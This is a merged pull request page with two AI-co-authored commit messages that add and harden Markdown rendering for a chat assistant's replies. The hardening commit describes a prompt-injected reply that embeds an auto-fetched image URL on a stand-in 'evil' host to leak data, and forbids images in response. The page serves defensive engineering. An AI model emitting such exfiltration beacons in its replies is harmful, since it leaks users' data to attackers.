Render the assistant's replies as Markdown #118

Merged
steve merged 2 commits from feat/assistant-markdown into main 2026-07-22 16:42:12 +00:00
2 Commits
Author SHA1 Message Date
steveandClaude Opus 4.8 a864926f42 Harden the assistant Markdown renderer (review fixes)
Build image / build-and-push (push) Successful in 11s
Address the Gadfly review of #118:

- Forbid <img> (`disallowedElements`): a prompt-injected reply could embed
  `![](https://evil/?leak=…)`, which the browser auto-fetches — a data
  exfiltration beacon. The assistant has no reason to emit images. Tested.
- Give the lazy Markdown chunk the same stale-chunk recovery the routes get:
  extract `lazyPage` to its own module and use it in ChatPanel, so a post-deploy
  404 doesn't permanently break the assistant. `lazyPage` now preserves the
  component's prop type instead of erasing to `{}`.
- Wrap the renderer in an error boundary that falls back to the raw text, so a
  chunk that can't load (or a renderer that throws) degrades to readable text
  rather than taking the editor down.
- Memoize MarkdownMessage and hoist its plugin/regex constants so typing in the
  composer doesn't re-parse every message in the thread.
- Correctness: detect fenced code with no info-string (newline check, not just
  the language- class); pass `start` through on ordered lists; pass GFM column
  alignment (`style`) through on th/td instead of hardcoding left; de-dup the
  heading renderers and style all six levels.
- Disable "Start over" while a turn is in flight — clearing mid-turn raced the
  in-flight stream.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 12:38:59 -04:00
steveandClaude Opus 4.8 ae3d52db31 Render the assistant's replies as Markdown
Build image / build-and-push (push) Successful in 12s
Gadfly review (reusable) / review (pull_request) Successful in 12m49s
Adversarial Review (Gadfly) / review (pull_request) Successful in 12m49s
The assistant answers in Markdown — tables, lists, bold, links — but the
chat bubble showed the raw source (whitespace-pre-wrap), so a table came
through as a wall of pipes.

- New MarkdownMessage: react-markdown + remark-gfm (for GFM tables). It does
  NOT enable raw HTML (no rehype-raw), so a model reply can't inject markup;
  every element the assistant actually uses is Tailwind-styled for a chat
  bubble, and wide content (tables, code) scrolls in its own box so the
  bubble can't blow out.
- Only ASSISTANT bubbles render as Markdown; the user's own text stays
  literal (their `*` shouldn't become a bullet) and the assistant bubble goes
  full-width so a table has room.
- Lazy-loaded: the renderer + its ecosystem (~150 KB) is its own async chunk,
  loaded only when an assistant message renders — not for everyone who opens
  the editor. To keep it out of the eager first paint, manualChunks now
  vendors only the app-wide core (react/react-dom/scheduler kept together —
  splitting react-dom breaks React 19 at load) and lets everything else ride
  with its importer.

Tested via renderToStaticMarkup (node, no DOM): a GFM table renders with
styled cells + horizontal scroll; **bold**/lists render; raw <script>/<b> are
escaped not emitted; links get rel="noopener noreferrer". App re-verified to
mount cleanly with the re-chunk (no React-19 init-order break). tsc + vitest
(99) + build green, no >500 KB warning.

Co-Authored-By: Claude Opus 4.8 (1M context) <[email protected]>
Claude-Session: https://claude.ai/code/session_01H3zbym8Doka2d7D48maSgZ
2026-07-22 12:17:34 -04:00